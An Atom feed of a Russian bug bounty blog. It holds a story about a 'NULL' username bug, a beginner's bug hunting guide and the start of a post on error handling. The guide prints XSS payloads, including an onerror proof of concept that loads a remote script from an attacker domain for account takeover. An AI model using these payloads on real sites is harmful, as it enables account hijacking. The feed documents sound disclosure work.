<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>@8ug8eer</title><subtitle>Тексты канала https://t.me/bugbeer</subtitle><author><name>@8ug8eer</name></author><id>https://teletype.in/atom/8ug8eer</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/8ug8eer?offset=0"></link><link rel="alternate" type="text/html" href="https://teletype.in/@8ug8eer?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=8ug8eer"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/8ug8eer?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-06-01T23:22:48.764Z</updated><entry><id>8ug8eer:username_is_null_bug</id><link rel="alternate" type="text/html" href="https://teletype.in/@8ug8eer/username_is_null_bug?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=8ug8eer"></link><title>Как я создала аккаунт с именем NULL и мне стали приходить уведомления о покупки и продлении доменов других пользователей</title><published>2024-11-23T14:52:59.166Z</published><updated>2024-12-20T09:30:18.917Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img2.teletype.in/files/54/a4/54a4a5cd-3830-46f0-87fd-6f6436b29203.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://lh7-rt.googleusercontent.com/slidesz/AGV_vUe8rSHC9EqU68_6SqVMGzKq-MnuRF_NISYGa7Mt96WeX3UliEyVTmKh5Oz5u1nBPIL14bD6-uEV2VcVUemMrT1vxpBThRNBirytsfmCdWl4hlP2wFy1ZkE5l0xY3hb1wbgX0IIxjzxUY4EQgYqj-OmEzcnl-JxK=s2048?key=Gd3ObHSwuVJwYwi2Y_yFow&quot;&gt;Я очень люблю программу багбаунти Timeweb. Да у них много легаси, о которых они знают, но искать и взаимодействовать с командой ИБ приятно. Она очень выросла со старта.</summary><content type="html">
  &lt;h3 id=&quot;mbAQ&quot;&gt;В качестве предисловия:&lt;/h3&gt;
  &lt;p id=&quot;avWz&quot;&gt;Я очень люблю программу багбаунти Timeweb. Да у них много легаси, о которых они знают, но искать и взаимодействовать с командой ИБ приятно. Она очень выросла со старта.&lt;/p&gt;
  &lt;h3 id=&quot;pTEp&quot;&gt;История бага:&lt;/h3&gt;
  &lt;p id=&quot;SmwK&quot;&gt;При регистрации имя пользователя создается автоматически. Сделали фичу смены логина. Я завела там баги, к сожалению о них оказалось уже знают. Но у меня остался аккаунт с username=&amp;quot;NULL&amp;quot;.&lt;br /&gt;&lt;br /&gt;Прошло пол года с тестирования&lt;/p&gt;
  &lt;figure id=&quot;yyuK&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://lh7-rt.googleusercontent.com/slidesz/AGV_vUe8rSHC9EqU68_6SqVMGzKq-MnuRF_NISYGa7Mt96WeX3UliEyVTmKh5Oz5u1nBPIL14bD6-uEV2VcVUemMrT1vxpBThRNBirytsfmCdWl4hlP2wFy1ZkE5l0xY3hb1wbgX0IIxjzxUY4EQgYqj-OmEzcnl-JxK=s2048?key=Gd3ObHSwuVJwYwi2Y_yFow&quot; width=&quot;310&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;tmyM&quot;&gt;И мне на почту стали приходить письма.&lt;/p&gt;
  &lt;figure id=&quot;hPic&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/73/3c/733c5613-cb2c-4a73-aab7-8521cd971c23.jpeg&quot; width=&quot;1828&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;G1OL&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/2b/5d/2b5d3937-57ae-447d-9847-44a50fcc68d6.jpeg&quot; width=&quot;1970&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;NOOg&quot;&gt;За несколько дней мой почтовый ящик завалили письмами. &lt;/p&gt;
  &lt;figure id=&quot;7IGW&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://lh7-rt.googleusercontent.com/slidesz/AGV_vUeNFdcbb_u_p1grZ9JkHV-eP_cBxGwPsEuj7yeo5gTdxwHYae_8xJ-2duTs90jgUn1BYDNCaCGFFazkVcwdKHSwYDF7TsH55zhL7dvOnihZWCkC7WijNXG5Uh2VMTyiCLBsyXyaVBsmovxnJ08NOn_ttqBcP9_T=s2048?key=Gd3ObHSwuVJwYwi2Y_yFow&quot; width=&quot;2048&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ICHY&quot;&gt;Я посмотрела по Whoami и обнаружила, что сообщение приходи после покупки или продления доменов.&lt;br /&gt;&lt;br /&gt;Вот так случайно, был найден и заведен баг.&lt;/p&gt;
  &lt;h3 id=&quot;vN1X&quot;&gt;В чем была причина?&lt;/h3&gt;
  &lt;p id=&quot;htR9&quot;&gt;Разработчик прокоментировал, что там было 2 причины:&lt;/p&gt;
  &lt;ul id=&quot;GfhX&quot;&gt;
    &lt;li id=&quot;y91R&quot;&gt;Портал вместо логина клиента &amp;quot;null&amp;quot; отправлял null&lt;/li&gt;
    &lt;li id=&quot;Hpv2&quot;&gt;Недостаток валидации&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3 id=&quot;YNBL&quot;&gt;Ссылка на раскрытый репорт:&lt;/h3&gt;
  &lt;p id=&quot;AGHI&quot;&gt;&lt;a href=&quot;https://bugbounty.bi.zone/reports/6777&quot; target=&quot;_blank&quot;&gt;https://bugbounty.bi.zone/reports/6777&lt;/a&gt;&lt;/p&gt;
  &lt;h3 id=&quot;eg7B&quot;&gt;Боян - это уже было&lt;/h3&gt;
  &lt;p id=&quot;6abP&quot;&gt;Похожий отчет был сдан в qiwi &lt;a href=&quot;https://hackerone.com/reports/487296&quot; target=&quot;_blank&quot;&gt;https://hackerone.com/reports/487296&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;figure id=&quot;YKPP&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://lh7-rt.googleusercontent.com/slidesz/AGV_vUd7rEiA-5IPr1PXHMBuiwVF_ba126hPUlal2UlQhXjbz18YuUhCmHchjQBqcI5fLmU2thMoq1V3qzpw-vnp1bBn0CjKtxEjZG5r7Ulrg9KF3QOH7pVmRrBPlTAepA8KqQYjrroI4da1dsYwhMRUjTXHebMa7GZXEEa9qbTY=s2048?key=8hAhfoh1rtDkwXLaxkk7SA&quot; width=&quot;559&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Uo9r&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;6TWU&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;Yo5w&quot;&gt;Похожая история произошла с американским исследователем в области безопасности Джозефом Тартаро, когда он решил сделать  номер &amp;quot;NULL&amp;quot; своей машине и начал получать штрафы всех машин с не распознанными номерами. &lt;a href=&quot;https://habr.com/ru/companies/ua-hosting/articles/463859/&quot; target=&quot;_blank&quot;&gt;https://habr.com/ru/companies/ua-hosting/articles/463859/&lt;/a&gt;&lt;/p&gt;
  &lt;figure id=&quot;1mMX&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/4f/a0/4fa0a4f8-8a8a-4f00-9832-8d35181f9dea.png&quot; width=&quot;950&quot; /&gt;
  &lt;/figure&gt;
  &lt;h3 id=&quot;nUwz&quot;&gt;В качестве вывода&lt;/h3&gt;
  &lt;ul id=&quot;ENFh&quot;&gt;
    &lt;li id=&quot;GW2V&quot;&gt;Некоторые баги в багбаунти находятся случайно - главное вовремя заметить&lt;/li&gt;
    &lt;li id=&quot;yzaI&quot;&gt;Вот такие бывают забавные ошибки валидации&lt;/li&gt;
  &lt;/ul&gt;

</content></entry><entry><id>8ug8eer:testing_theory_by_novice_bughunter</id><link rel="alternate" type="text/html" href="https://teletype.in/@8ug8eer/testing_theory_by_novice_bughunter?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=8ug8eer"></link><title>Способы багхантинга, проверенные начинающим багхантером или как AppSec баги искал</title><published>2023-11-19T13:11:51.646Z</published><updated>2024-07-29T16:22:35.050Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/e7/c0/e7c03dc2-c93c-45cb-87af-ef3663e25074.png"></media:thumbnail><category term="bug-bounty" label="BugBounty"></category><summary type="html">&lt;img src=&quot;https://img2.teletype.in/files/18/1f/181f0766-bc65-4d01-b4ec-00baca6ba6ca.png&quot;&gt;Всем привет, меня зовут Аня. Я работаю AppSec-м: встраиваю сканеры в пайплайн, пишу правила, документацию, учу как не допускать уязвимости в своей кодовой базе. Была QA/QA automation, через CTF и задания веба (спасибо SpbCTF) познакомилась с проблемами безопасности и так много начала находить в своих проектах, что перешла в AppSec. Для понимания - тыкать кавычки я немного умею, но не занимаюсь этим на работе - фокус сейчас &quot;как не допустить&quot;.</summary><content type="html">
  &lt;figure id=&quot;Mftu&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/18/1f/181f0766-bc65-4d01-b4ec-00baca6ba6ca.png&quot; width=&quot;1680&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;K2C7&quot;&gt;Whoami&lt;/h2&gt;
  &lt;p id=&quot;25Mj&quot;&gt;Всем привет, меня зовут Аня. Я работаю AppSec-м: встраиваю сканеры в пайплайн, пишу правила, документацию, учу как не допускать уязвимости в своей кодовой базе. Была QA/QA automation, через CTF и задания веба (спасибо SpbCTF) познакомилась с проблемами безопасности и так много начала находить в своих проектах, что перешла в AppSec. Для понимания - тыкать кавычки я немного умею, но не занимаюсь этим на работе - фокус сейчас &amp;quot;как не допустить&amp;quot;. &lt;/p&gt;
  &lt;p id=&quot;QcI7&quot;&gt;Появилась идея - проверить, что может найти начинающий багхантер, который никогда этим не занимался, по различным гипотезам. Сразу скажу, что тут не будет автоматизации (это тема для следующего вызова), все уязвимости искала в ручную. Только ты и Burp Suite.&lt;/p&gt;
  &lt;h2 id=&quot;uxHW&quot;&gt;В чем суть: &lt;/h2&gt;
  &lt;p id=&quot;sCOT&quot;&gt;Какие вопросы себе задает начинающий багхантер:&lt;/p&gt;
  &lt;ul id=&quot;YSKK&quot;&gt;
    &lt;li id=&quot;f67R&quot;&gt;Где сдавать уязвимости?&lt;/li&gt;
    &lt;li id=&quot;qM63&quot;&gt;Какую программу выбрать и как?&lt;/li&gt;
    &lt;li id=&quot;XaVn&quot;&gt;Что искать?&lt;/li&gt;
    &lt;li id=&quot;VOLN&quot;&gt;Каким способом?&lt;/li&gt;
    &lt;li id=&quot;gFAP&quot;&gt;Может ли новичек что-то найти&lt;s&gt; или все баги забрал себе Рамазан?&lt;/s&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;XEw4&quot;&gt;Разберемся с каждым вопросом.&lt;/p&gt;
  &lt;h2 id=&quot;Hkhs&quot;&gt;Где сдавать/искать уязвимости?&lt;/h2&gt;
  &lt;h3 id=&quot;1l5Z&quot;&gt;Искать на багбаунти платформах&lt;/h3&gt;
  &lt;p id=&quot;0v7S&quot;&gt;Есть 3 RU багбаунти платформы: &lt;/p&gt;
  &lt;ul id=&quot;D7A5&quot;&gt;
    &lt;li id=&quot;HjWF&quot;&gt;&lt;a href=&quot;https://app.bugbounty.bi.zone/&quot; target=&quot;_blank&quot;&gt;https://app.bugbounty.bi.zone/&lt;/a&gt; &lt;/li&gt;
    &lt;li id=&quot;Nckk&quot;&gt;&lt;a href=&quot;https://bugbounty.standoff365.com/&quot; target=&quot;_blank&quot;&gt;https://bugbounty.standoff365.com/&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;1dA0&quot;&gt;&lt;a href=&quot;https://bugbounty.ru/&quot; target=&quot;_blank&quot;&gt;https://bugbounty.ru/&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;ujjk&quot;&gt;Плюсы:&lt;/p&gt;
  &lt;ul id=&quot;Dsyd&quot;&gt;
    &lt;li id=&quot;mHNU&quot;&gt;У тебя растет рейтинг &lt;s&gt;чсв.&lt;/s&gt;&lt;/li&gt;
    &lt;li id=&quot;Ri8s&quot;&gt;Тебя добавляют в приватки по рейтингу.&lt;/li&gt;
    &lt;li id=&quot;R1NU&quot;&gt;&lt;s&gt;Можно пожаловаться платформе про жизнь не легкую багхантерскую. &lt;/s&gt;Попросить платформу выступить арбитром в сложных вопросах, потыкать палочкой в вендора, который не отвечает тебе по почте с вопросом доступа.&lt;/li&gt;
    &lt;li id=&quot;WNWW&quot;&gt;Мерч от платформ. Ну не ради денег же багхантить в самом деле:)&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;4qjz&quot;&gt;Минусы: &lt;/p&gt;
  &lt;ul id=&quot;Y7Xc&quot;&gt;
    &lt;li id=&quot;x9Wb&quot;&gt;Их нет - пишите в комментах, если знаете.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3 id=&quot;y0T2&quot;&gt;Искать на self-hosted платформах&lt;/h3&gt;
  &lt;p id=&quot;cgBz&quot;&gt;Это проекты, которые не выложены на багбаунти платформах. Они имеют у себя страницу багбаунти с указанием куда писать в случае обнаружения уязвимости.&lt;/p&gt;
  &lt;p id=&quot;Sf5i&quot;&gt;Например:&lt;/p&gt;
  &lt;ul id=&quot;PxZi&quot;&gt;
    &lt;li id=&quot;swlb&quot;&gt;&lt;a href=&quot;https://yandex.ru/bugbounty/&quot; target=&quot;_blank&quot;&gt;https://yandex.ru/bugbounty/&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;q09I&quot;&gt;&lt;a href=&quot;https://kontur.ru/bugbounty&quot; target=&quot;_blank&quot;&gt;https://kontur.ru/bugbounty&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;JBYM&quot;&gt;&lt;a href=&quot;https://www.jivo.ru/bugbounty/&quot; target=&quot;_blank&quot;&gt;https://www.jivo.ru/bugbounty/&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;5c2l&quot;&gt;&lt;a href=&quot;https://bugbounty.mts-link.ru/&quot; target=&quot;_blank&quot;&gt;https://bugbounty.mts-link.ru/&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;v6LT&quot;&gt;и тд&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3 id=&quot;kDwK&quot;&gt;Можно самому договариваться c проектами&lt;/h3&gt;
  &lt;p id=&quot;C1As&quot;&gt;Этот способ подсказал &lt;a href=&quot;https://standoff365.com/profile/fat_dog&quot; target=&quot;_blank&quot;&gt;fat_dog&lt;/a&gt;. Пишешь менеджеру проекта и если они согласны, чтобы ты поискал у них уязвимости, то начинаешь искать. Сначала искать, а потом шантажировать, что &amp;quot;я нашел у вас крит и если не заплатите солью в паблик&amp;quot; - не нужно. Мы все-таки тут белые хакеры.&lt;/p&gt;
  &lt;p id=&quot;crHR&quot;&gt;Плюсы:&lt;/p&gt;
  &lt;ul id=&quot;mj40&quot;&gt;
    &lt;li id=&quot;irkM&quot;&gt;Большое количество &amp;quot;низко-висящих фруктов&amp;quot;. Зачастую в таких проектах очень просто найти уязвимость.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;iZso&quot;&gt;Минусы:&lt;/p&gt;
  &lt;ul id=&quot;yVg4&quot;&gt;
    &lt;li id=&quot;lI4M&quot;&gt;Низкие выплаты. Скорее всего тебе заплатят своей же продукцией. Но если ты не против получить ящик кофе, то почем у бы и нет.&lt;/li&gt;
    &lt;li id=&quot;fluR&quot;&gt;На такое согласится 1 из 10 менеджеров и скорее всего тот, которого уже поломали.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure id=&quot;8Cqg&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/42/c3/42c3910b-1535-4b83-b130-dc22537f32c6.png&quot; width=&quot;1218&quot; /&gt;
  &lt;/figure&gt;
  &lt;h3 id=&quot;Tbqs&quot;&gt;Какой способ был выбран?&lt;/h3&gt;
  &lt;p id=&quot;X927&quot;&gt;Я выбрала просто сдавать на следующих багбаунти платформах:&lt;/p&gt;
  &lt;ul id=&quot;4sUS&quot;&gt;
    &lt;li id=&quot;mRD7&quot;&gt;&lt;a href=&quot;https://app.bugbounty.bi.zone/profile/savAnna/hackactivity&quot; target=&quot;_blank&quot;&gt;https://app.bugbounty.bi.zone/profile/savAnna/hackactivity&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;f0Zy&quot;&gt;&lt;a href=&quot;https://standoff365.com/profile/savAnna&quot; target=&quot;_blank&quot;&gt;https://standoff365.com/profile/savAnna&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h2 id=&quot;zPMh&quot;&gt;Как выбрать программу и какие тут есть варианты?&lt;/h2&gt;
  &lt;h3 id=&quot;jy0x&quot;&gt;Одна лишь цель&lt;/h3&gt;
  &lt;p id=&quot;uR86&quot;&gt;Выбрать интересную программу/продукт и закопаться. Это позволяет глубже познакомится с функционалом и собрать не только &amp;quot;низко-висящие фрукты&amp;quot;, накопить себе кучу записок по аномалиям, порисовать схемы процессов, провести полноценно разведку.&lt;/p&gt;
  &lt;p id=&quot;1isx&quot;&gt;Выбрала первого вендора - Консоль по следующим критериям:&lt;/p&gt;
  &lt;ul id=&quot;ugRi&quot;&gt;
    &lt;li id=&quot;I5FC&quot;&gt;Продукт понятен &lt;s&gt;и похож на прошлую работу.&lt;/s&gt;&lt;/li&gt;
    &lt;li id=&quot;AohZ&quot;&gt;Бэкенд на этом ЯП я еще не тестировала.&lt;/li&gt;
    &lt;li id=&quot;oRaG&quot;&gt;Антон(ex всея Консоли и триажа там) шутит смешные шутки в чатах - значит и триаж будет не душный - этот пункт меня не подвел.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;T1RY&quot;&gt;Минус тут оказался в том, что Антон уволился и вендор перестал рассматривать уязвимости. Без объявления войны убрал доступ до моей тестовой учетной записи, а потом и вовсе закрыл программу. И сидишь со своим списком md-файлов с аномалиями. Мой вывод, что лучше закапываться в продукты стабильных вендоров. Багбаунти, которых не держится на 1 человеке.&lt;/p&gt;
  &lt;h3 id=&quot;zbom&quot;&gt;Тестить все по чуть-чуть&lt;/h3&gt;
  &lt;p id=&quot;FKPl&quot;&gt;Следущий способ, который решила проверить - тестить все. 1 программа - 1 вечер. Минусы этого способа были, что некоторые продукты были просто не интересны и если не нашел &amp;quot;изи бага&amp;quot;, то переходил к следующей. Из этого способа появился следующий.&lt;/p&gt;
  &lt;h3 id=&quot;0Fbw&quot;&gt;Выбираем по типу&lt;/h3&gt;
  &lt;p id=&quot;bM8d&quot;&gt;Выбираешь максимально удобный и понятный для тебя бизнес-процесс: банк, магазин, vds-ка и тестируешь именно эти программы.&lt;br /&gt;Плюсы этого подхода: не нужно тратить время на понимание бизнес-процесса, можно повторять одни и те же проверки во всех программах.&lt;br /&gt;Мне понравилось тестить облачные платформы, VDS-ки и магазины.&lt;/p&gt;
  &lt;h3 id=&quot;GeaT&quot;&gt;Бежать при открытии новой программы тестить быстрее всех&lt;/h3&gt;
  &lt;p id=&quot;2gUk&quot;&gt;Этот способ рабочий, но оказался не самый эффективный для меня. Так как тестировала не каждый вечер и пока ты дойдешь до субботы, где ты можешь потестить &lt;s&gt;Рамазан уже все сдаст&lt;/s&gt; - твои отчеты превращаются в дубли. Но если у вас самая быстрая рука на диком западе, то этот способ для вас.&lt;/p&gt;
  &lt;p id=&quot;RCz2&quot;&gt;Дальше когда мы определились с тем где мы хотим искать уязвимости - рассмотрим что и как будем искать.&lt;/p&gt;
  &lt;h2 id=&quot;SaZ6&quot;&gt;Что и как искать?&lt;/h2&gt;
  &lt;h3 id=&quot;oOuw&quot;&gt;Обученная обезьянка&lt;/h3&gt;
  &lt;p id=&quot;OtzY&quot;&gt;Запомнил один прием и его повторяешь.&lt;/p&gt;
  &lt;p id=&quot;oNA3&quot;&gt;Для меня таким приемом стал добавлять во все поля&lt;/p&gt;
  &lt;pre id=&quot;alVy&quot;&gt;&amp;lt;img src=x onerror=alert();&amp;gt;&lt;/pre&gt;
  &lt;p id=&quot;STph&quot;&gt;Способ немного занудный и я не долго на нем просидела. Тем не менее было найдено несколько багов. Правда пришлось выйти из образа обезьянки, когда на отчет по XSS, &amp;quot;вот методы позволяющие сделать захват аккаунта&amp;quot; - триажер не согласился и сказал, что тут 255 символов и &lt;s&gt;что ты мне сделаешь&lt;/s&gt; или предоставляй реальный poc или &lt;s&gt;иди на фик&lt;/s&gt; информатив. Пришлось для доказательства как не правы те, кто думает, что что ограничения в количестве символов защитят писать 2 варианта: &lt;/p&gt;
  &lt;p id=&quot;uZhy&quot;&gt;&lt;strong&gt;1 вариант&lt;/strong&gt; - написать скрипт напрямую в paylod.&lt;br /&gt;С помощью jquery, который подключен на сайте можно значительно уменьшить свой payload.&lt;/p&gt;
  &lt;p id=&quot;7rYS&quot;&gt;&lt;strong&gt;2 вариант&lt;/strong&gt; - просто обращаться к своему скрипту&lt;/p&gt;
  &lt;p id=&quot;TxZc&quot;&gt;Загрузить на домен куда позволяет CSP, настроить CORS и писать скрипты на сколько хочешь символов&lt;/p&gt;
  &lt;p id=&quot;ykJD&quot;&gt;Все это можно проверить через консоль&lt;/p&gt;
  &lt;p id=&quot;mvbF&quot;&gt;$.get(&amp;#x27;&lt;a href=&quot;https://s3.timeweb.com/3a96e2fb-1648ffdf-4635-4f1d-aa28-f4fd89ffeee7/script.js&quot; target=&quot;_blank&quot;&gt;https://domen/script.js&lt;/a&gt;&amp;#x27;, (d) =&amp;gt; {  })&lt;/p&gt;
  &lt;p id=&quot;7p0q&quot;&gt;Выводим window - ищем нашу функцию - убедились, что скрипт подгружается.&lt;/p&gt;
  &lt;p id=&quot;4qDW&quot;&gt;Пишем в скрипте вызов нужных методов.&lt;/p&gt;
  &lt;p id=&quot;7EtD&quot;&gt;И финальный POC&lt;/p&gt;
  &lt;pre id=&quot;OT4Z&quot;&gt;&amp;lt;img src=x onerror=&amp;quot;$.getScript({url:&amp;#x27;https://domen/script.js&amp;#x27;},()=&amp;gt;{_hack.fn()})&amp;quot;&amp;gt;&lt;/pre&gt;
  &lt;p id=&quot;0oO0&quot;&gt;Потом триажеры сказали, что ты не реализовал запись токенов себе на S3 бакет/куда-либо, &amp;quot;показал только теоритическую возможность&amp;quot;, поэтому отчет захват аккаунта через XSS - был помечен как информатив. Так что &lt;s&gt;я выпила ромашкового чаю&lt;/s&gt; пришлось скачивать либу aws, билдить модуль записи на бакет, загружать, разбираться и все это ради копеечного реварда. Обезьянка слишком запарилась и потратила нервы на пинг-понг с триажерами - не надо так.&lt;/p&gt;
  &lt;p id=&quot;OBGq&quot;&gt;Так что способ обезьянки рабочий, но для аргументов для триажеров приходится выходить из этого образа.&lt;/p&gt;
  &lt;h3 id=&quot;Bm9o&quot;&gt;Выбрать CWE и проверять его всеми различными способами&lt;/h3&gt;
  &lt;p id=&quot;kTid&quot;&gt;Для этого я выбрала IDOR(BOLA). Потому что он простой, у него есть разные способы и топ-1 OWASP 2023 как никак - &lt;a href=&quot;https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/&quot; target=&quot;_blank&quot;&gt;API1:2023 Broken Object Level Authorization&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;icIv&quot;&gt;Было найдено 11 багов (правда часть оказалось дублями, часть вендор счел информатив)&lt;/p&gt;
  &lt;p id=&quot;ls7J&quot;&gt;Так что те, кто писал &amp;quot;Такие простые уязвимости найти нельзя&amp;quot; после мастер-класса &lt;a href=&quot;https://www.youtube.com/watch?v=FQROPd_p1ME&quot; target=&quot;_blank&quot;&gt;Поиск уязвимостей IDOR (BOLA)&lt;/a&gt;  - вы заблуждаетесь.&lt;/p&gt;
  &lt;h3 id=&quot;CgFh&quot;&gt;Искать функционал с определенной багой&lt;/h3&gt;
  &lt;p id=&quot;ChFs&quot;&gt;Например, ты знаешь библиотеки не безопасные по умолчанию. Ищешь проекты где она используется, потому что разработчики редко читают документацию &amp;quot;как сконфигурировать безопасно&amp;quot; (отсюда и родилось правило secure by default).&lt;/p&gt;
  &lt;p id=&quot;OeMi&quot;&gt;Возьмем самый простой пример, когда есть функционал отображения файла, который загружается на тот же домен, то разработчики часто забывают, что svg inline - это XSS.&lt;/p&gt;
  &lt;p id=&quot;VdoW&quot;&gt;Или узнал какой XML парсер не безопасный по умолчанию - ищешь обработку XML - обычно это едо, оплата, всякие интеграции с 1С. Нашел такой метод - получил XXE.&lt;/p&gt;
  &lt;h3 id=&quot;qhO7&quot;&gt;Засесть за одной фичей&lt;/h3&gt;
  &lt;p id=&quot;JiHi&quot;&gt;Например, за аутентификацией. Проверить все методы получения токена, смена пароля, смены 2fa и тд. Нарисовать схему, продумать все варианты. Где-нибудь да найдется обход 2fa.&lt;/p&gt;
  &lt;h3 id=&quot;rpKb&quot;&gt;Следить за новостями&lt;/h3&gt;
  &lt;p id=&quot;2KSE&quot;&gt;Следуя гипотезе, что бизнес хочет выпустить фичу поскорее, наплевав на качество - &amp;quot;приняв риски&amp;quot;, подписываемся на обновления и бежим тестировать новый функционал платформы. Способ так же рабочий, была найдена 1 уязвимость, но тут оказалась проблема, что среди 1 новости платформы - приходится 10 постов про &amp;quot;10 советов для домохозяек как работать с нашей платформой&amp;quot;. Если вы знаете как по другому получить список новых фич - поделитесь способом.&lt;/p&gt;
  &lt;h2 id=&quot;Opgf&quot;&gt;Выводы:&lt;/h2&gt;
  &lt;p id=&quot;SEG2&quot;&gt;Итого: за месяц исследований(в основном по субботам и иногда по вечерам) было найдено 17 уязвимостей, из них: &lt;/p&gt;
  &lt;ul id=&quot;AnTi&quot;&gt;
    &lt;li id=&quot;3Cvo&quot;&gt;7 подтверждено.&lt;/li&gt;
    &lt;li id=&quot;d9ia&quot;&gt;5 пока не рассмотрели.&lt;/li&gt;
    &lt;li id=&quot;yJX6&quot;&gt;4 информатив(по некоторым еще ведутся дебаты, 2 например мне удалось доказать и они были приняты).&lt;/li&gt;
    &lt;li id=&quot;pZPt&quot;&gt;1 дубль.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;60p8&quot;&gt;Каждый способ поиска оказался рабочим и принес подтвержденную багу.&lt;/p&gt;
  &lt;ul id=&quot;mjXN&quot;&gt;
    &lt;li id=&quot;nkMh&quot;&gt;Найти даже очень простые баги и получить за них ревард можно.&lt;/li&gt;
    &lt;li id=&quot;BOGI&quot;&gt;Для того, чтобы найти что-то не нужны сверх-навыки.&lt;/li&gt;
    &lt;li id=&quot;3Ipd&quot;&gt;Иногда найти баг можно не просидев все выходные, а за 30 минут.&lt;/li&gt;
    &lt;li id=&quot;VnPe&quot;&gt;Осилит дорогу идущий.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;OBUv&quot;&gt;Если у вас все-равно не получается, то рекомендую:&lt;/p&gt;
  &lt;ul id=&quot;724o&quot;&gt;
    &lt;li id=&quot;iIS9&quot;&gt;Подумать о бизнес-ценности данного продукта. Какой риск бизнес не хотел бы допустить.&lt;/li&gt;
    &lt;li id=&quot;B0jU&quot;&gt;Подтянуть базу знаний и порешать лабы/CTF-ки. Рекомендую начать с &lt;a href=&quot;https://tryhackme.com/&quot; target=&quot;_blank&quot;&gt;TryHackMe&lt;/a&gt; или с &lt;a href=&quot;https://portswigger.net/web-security/all-materials&quot; target=&quot;_blank&quot;&gt;Portswigger Academy&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;xsAb&quot;&gt;Удачного вам багхантинга!&lt;/p&gt;

</content></entry><entry><id>8ug8eer:error_handler_security_problem</id><link rel="alternate" type="text/html" href="https://teletype.in/@8ug8eer/error_handler_security_problem?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=8ug8eer"></link><title>Не все &quot;ошибки&quot; одинаково полезны - с точки зрения безопасности.</title><published>2023-10-01T20:22:56.921Z</published><updated>2023-11-06T19:37:09.468Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img2.teletype.in/files/90/a0/90a008fa-a4eb-4d6a-a495-03de62f1de14.png"></media:thumbnail><category term="security" label="Security"></category><summary type="html">&lt;img src=&quot;https://img4.teletype.in/files/73/2e/732e6b6b-462b-4973-be31-1ed4c8bcf327.png&quot;&gt;Всем знакомая ситуация: ввели не валидное значение - получили &quot;ошибку&quot;.</summary><content type="html">
  &lt;p id=&quot;bfg3&quot;&gt;Всем знакомая ситуация: ввели не валидное значение - получили &amp;quot;ошибку&amp;quot;.&lt;/p&gt;
  &lt;figure id=&quot;xfFx&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/73/2e/732e6b6b-462b-4973-be31-1ed4c8bcf327.png&quot; width=&quot;1562&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;5t3v&quot;&gt;Какие могут быть варианты обработок ошибок:&lt;/p&gt;
  &lt;ul id=&quot;cfxV&quot;&gt;
    &lt;li id=&quot;n4cj&quot;&gt;Приложение не обрабатывает исключения и выводит &amp;quot;Internal Server Error&amp;quot;.&lt;/li&gt;
    &lt;li id=&quot;7Mm3&quot;&gt;Все исключение обрабатываются одной ошибкой &amp;quot;Введите валидное значение&amp;quot;.&lt;/li&gt;
    &lt;li id=&quot;Z4Qb&quot;&gt;Все варианты выводят человекочетаемую ошибку, а-ля &amp;quot;Значение X не валидно, введите Y&amp;quot;.&lt;/li&gt;
